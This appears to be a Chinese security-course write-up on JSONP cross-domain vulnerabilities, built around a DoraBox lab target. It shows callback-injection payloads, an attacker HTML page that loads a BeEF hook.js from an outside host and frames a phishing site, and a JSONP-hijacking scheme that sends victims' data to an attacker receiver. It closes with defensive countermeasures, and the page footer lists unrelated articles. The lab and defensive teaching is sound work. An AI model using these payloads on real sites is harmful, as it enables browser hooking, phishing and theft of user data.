JSONP跨域访问漏洞

目录

JSONP跨域访问漏洞

课程目标

一、漏洞一:利用回调GetCookie

二、漏洞二:利用CSRF获取数据

三、JSON攻击防御方案


课程目标

1、理解JSONP跨域访问漏洞原理

2、掌握JSONP跨域访问的防御方案

一、漏洞一:利用回调GetCookie

说变了,就是没有对callback参数的值进行校验,导致完全由用户可控,难免会有领域中人

当list-json.html页面中,构造的payload如下,便可直接触发弹窗

 <script src="http://192.168.230.147/list-json.php?callback=alert(/1/)//"></script>

访问攻击服务器上的http://192.168.230.135/list-json.html

那么,我们在弹窗代码位置处就可以做很多事情了,比如发送当前一个请求,直接定位到攻击服务器上访问一个钓鱼网站,该网站由beefxss挂钩。

  • 开启beefxss,真很简单,直接上kali

  • 我们在攻击服务器192.168.230.135上创建一个这样的html文件,命名为jsonp-beefxss.html。当然,我们可以让其优化一点

 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>jsonp-beefxss</title>
 </head>
 <body>
     <script src="http://192.168.230.128:3000/hook.js"></script>
     <!-- <script>location.href="https://www.woniuxy.com/"</script> -->
      <iframe src="https://www.woniuxy.com/" width=100% height="900"></iframe>
 </body>
 </html>
  • 访问http://192.168.230.135/jsonp-beefxss.html

    image-20240813170902761

  • 当,恶意html页面做好了之后,我们去访问list-json.html时,给callback传入的参数就可以写成payload

  •  <script src="http://192.168.230.135/list-json.php?callback=location.href='http://192.168.230.135/jsonp-beefxss.html'//"></script>

    接下来我去访问 http://192.168.230.135/list-json.html 就会跳转到 http://192.168.230.135/jsonp-beefxss.html 直接实现攻击,但事实上,完全可以不用这么麻烦。直接诱使用户点击就好了,干嘛这么多弯弯绕

当然,我们需要对回调函数的名称进行严格的限制,比如限制其长度,查询其关键词,白名单等方式 在list-json.php 后台代码中校验

image-20240813171954755

二、漏洞二:利用CSRF获取数据

比如,攻击者发现某个站点有csrf漏洞,然后攻击者想获取用户在该站点下的响应数据,但是攻击者并没有用户的账密,那么攻击者该怎么办?攻击者就想办法诱导用户点击攻击者构造的恶意链接,该链接代码中将会让用户访问该站点有csrf漏洞的页面,然后通过构造js回调函数,实现数据的发送。

  • 发给受害者一个恶意链接,该链接首先让用户访问有CSRF漏洞的这个页面,并且传入参数calback的值为test,然后,在该链接中构建 js 回调函数 test() ,其功能为向攻击服务器发送一个请求,比如攻击服务器有一个jsonprecv.php ,那么 test 回调函数就会向这个页面发起请求,将有CSRF漏洞的这个页面的数据发送到攻击者服务器

DoraBox靶场中有这样一道题目 在CSRF中有一个JSONP 劫持 http://192.168.230.147/dorabox/csrf/jsonp.php?callback=test

其中该题目的源代码中有如下一句代码

 $callback = htmlsprcialchars($_GET['callback']);

上述代码将我们传入的参数进行了实体字符转换,杜绝了XSS获取Cookie 的漏洞。但是该页面依然存在JSONP漏洞,我们要做的就是,让已登录该页面的受害者,访问我们构造的恶意链接,在 192.168.230.135 上创建页面 jsonrecv.php

由于环境的原因,我暂时使用老师的代码。我只需将应用服务器ip地址更改为192.168.230.147,攻击服务器ip地址更改为192.168.230.135

image-20240813174610414

然后再添加 jsonuse.html

image-20240813174650790

我们可以选择诱使受害者直接访问 攻击服务器上的jsonuse.html 也可以利用DoraBox中的xss漏洞构造链接,就看用户点不点了

DoraBox中的存储型XSS是将输入的内容直接存储到本页面,并没有存在数据库,所以该页面的源代码还需要有写权限

三、JSON攻击防御方案

产生JSONP攻击的核心在于没有对调用地方进行校验

  • 前后端约定JSONP请求的JS回调函数名,不能由用户自己决定

  • 严格安全的防止CSRF方式调用JSON文件:限制Referer,部署一次性Token或其他Token校验

  • 严格按照JSON格式标准输出 Content-Type 及编码 (Content-Type:application/json; charset=utf-8),避免被XSS利用。可以在PHP源码中添加 header("Content-Type:application/json"); 即可。

  • 严格过滤callback函数名以及JSON里的输出数据

  • 严格限制对JSONP输出,callback函数名的长度及内容

  • 其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON,听说在输出 JSON 之前加入 while(1);这样的代码来防止 JS 远程调用(可以试试)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/871119.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

跨平台无缝编辑,2024年免费视频剪辑工具全解析

在众多视频剪辑工具中&#xff0c;免费视频剪辑软件凭借其易用性、功能丰富性以及零成本的优势&#xff0c;赢得了广大用户的青睐。今天&#xff0c;就让我们一起盘点那些2024年大家都在用的免费视频剪辑软件&#xff0c;探索它们如何助力我们轻松实现创意梦想。 1.福昕视频剪…

基于Sringboot+Vue个人驾校预约管理系统--论文pf

TOC springboot503基于SringbootVue个人驾校预约管理系统--论文pf 第1章 绪论 1.1选题动因 当前的网络技术&#xff0c;软件技术等都具备成熟的理论基础&#xff0c;市场上也出现各种技术开发的软件&#xff0c;这些软件都被用于各个领域&#xff0c;包括生活和工作的领域。…

多平台编译libexif

下载地址&#xff1a;https://github.com/libexif/libexif/releases 1. ubuntu x64 &#xff08;银河麒麟系统aarch64步骤相同&#xff09; # 解压 > tar -jxvf libexif-0.6.24.tar.bz2 > cd libexif-0.6.24 # 配置 > ./configure # 编译 > make # 安装 > mak…

openstack基本操作

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

Shell参考 - Linux Shell 训练营

出品方<Linux.cn & 阿里云开发者学堂> 一&#xff0c;Linux 可以划分为以下四个部分&#xff1a; 1. 应用软件 2. 窗口管理软件 Unity Gnome KDE 3. GNU 系统工具链 Software- GNU Project - Free Software Foundation 4. Linux 内核 二&#xff0c;什么是shell 1. L…

ArcGIS高/低聚类(Getis-Ord General G)——探究人口空间格局的20年变迁

先了解什么是莫兰指数高/低聚类莫兰指数&#xff1f; 高/低聚类 (Getis-Ord General G) 统计是一种用于检测空间数据中是否存在高值或低值聚类的统计方法&#xff0c;这种方法可以帮助我们理解数据点在空间上是否呈现某种聚集模式。 高/低聚类 (Getis-Ord General G) 和空间自…

centos系统配置转发和iptables使之成为网关

centos系统配置转发和iptables使之成为网关 在当下互联网环境中&#xff0c;有很多内网服务器不能出网&#xff0c;例如安装软件包&#xff0c;更新程序之类的&#xff0c;偶尔会需要出网&#xff0c;下面这种方式就是专门解决这个事情的。 如下配置在 centos 6 7 8 rocky 8 …

期权的集合竞价是什么?期权集合竞价时间分享

今天带你了解期权的集合竞价是什么&#xff1f;期权集合竞价时间分享。期权的集合竞价是指在交易日的特定时间段内&#xff0c;期权合约的买卖双方提交并匹配他们的买卖意愿&#xff0c;以确定期权的开盘价格。 期权的集合竞价是一种特定的交易机制&#xff0c;用于确定期权合…

位图与布隆过滤器 —— 海量数据处理

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;C从入门到精通 目录 &#x1f680; 位图 一&#xff1a; &#x1f525; 位图概念 二&#xff1a; &#x1f525; 位图的实现思路及代码实现三&#xff1a; &#x1f525; 位图的应用四&#xff1a;…

文书智能助手

背景 司法、医疗等行业存在着大量的文书&#xff0c;一份文书或者卷宗少则几十页&#xff0c;多则几万页。在查看和检查这些文书时&#xff0c;会遇到大量的信息。当需要查询进一步的详细内容时&#xff0c;往往需要选择一下文字&#xff0c;然后再在各种系统中 查询详细的信息…

IDEA安装和使用(配图)

功能强大&#xff1a; 1、强大的整合能力&#xff0c;比如Git,Maven,Spring等 2、开箱即用&#xff08;集成版本控制系统&#xff0c;多语言支持的框架随时可用&#xff09; 3、符合人体工程学 1、高度智能 2、提示功能的快速&#xff0c;便捷&#xff0c;范围广 3、好用…

Nginx平滑升级与回滚示例

Nginx 的平滑升级和平滑回滚是确保 Web 服务高可用性的重要组成部分。这两种操作允许你在不中断服务的情况下更新或回滚 Nginx 的版本。 Nginx 平滑升级与回滚 Nginx 的平滑升级和平滑回滚是确保 Web 服务高可用性的重要组成部分。这两种操作允许你在不中断服务的情况下更新或…

Vue 生命周期详解含demo、面试常问问题案例

Vue 生命周期详解、面试常问问题案例 含 demo 文章目录 Vue 生命周期详解、面试常问问题案例 含 demo一、Vue 生命周期是什么二、Vue 中如何使用生命周期钩子1. **beforeCreate**2. **created**3. **beforeMount**4. **mounted**5. **beforeUpdate**6. **updated**7. **beforeD…

AIoTedge边缘计算平台V1.0版本发布

AIoTedge边缘计算平台V1.0&#xff0c;一款创新的AIoT解决方案&#xff0c;现已正式发布。该产品集成了NodeRED软网关、边缘物联网平台和边缘AI能力&#xff0c;为企业提供强大的边云协同能力。它支持设备管理和泛协议接入&#xff0c;确保不同设备间的无缝连接。AIoTedgeV1.0还…

Hexo通过GitHub设置自定义域名

本身GitHub也是支持自定义域名的&#xff0c;本次教程将讲解如何使用GitHub自带的自定义域名解析。 1. GitHub设置 1.1 登录GitHub账号 登录GitHub账号&#xff0c;找到名称为 用户名.github.io的仓库&#xff0c;并点击进入。 1.2 进入Settings页面 点击如图的Settings按…

https://developer.nvidia.com/cuda-toolkit-archive

CUDA Toolkit Archive | NVIDIA Developerhttps://developer.nvidia.com/cuda-toolkit-archive

一款免费的文件锁定占用解除工具,绿色免安装版

IObit Unlocker是一款由IObit公司开发的免费文件解锁工具&#xff0c;旨在解决用户在删除、重命名、移动或复制文件和文件夹时遇到的“无法删除”或“访问被拒绝”的问题。该软件体积小巧&#xff0c;不到3MB&#xff0c;非常易于使用&#xff0c;并且不需要安装&#xff0c;可…

代码随想录 day 49 单调栈

第十章 单调栈part02 42. 接雨水 接雨水这道题目是 面试中特别高频的一道题&#xff0c;也是单调栈 应用的题目&#xff0c;大家好好做做。 建议是掌握 双指针 和单调栈&#xff0c;因为在面试中 写出单调栈可能 有点难度&#xff0c;但双指针思路更直接一些。 在时间紧张的情…

volta引发的血案

什么是volta volta用于做项目级别的node版本控制&#xff0c;当手头上的项目有多个时&#xff0c;且node版本可能还不一样&#xff0c;我们需要不断切换node版本。使用volta可以很好的解决这个问题。只需要安装volta&#xff0c;然后在下面的package.json中配置好node版本即可…

初始redis:List

列表 List 相当于数组或者顺序表。 对于List来说&#xff0c;两侧都可以插入和删除&#xff0c;时间复杂度是O(1)。 有很多的操作&#xff0c;比如 llen 可以获取List的长度&#xff0c;lrem 可以删除元素 &#xff0c;lrange可以去一个字符串 &#xff0c; lindex可以根据下标…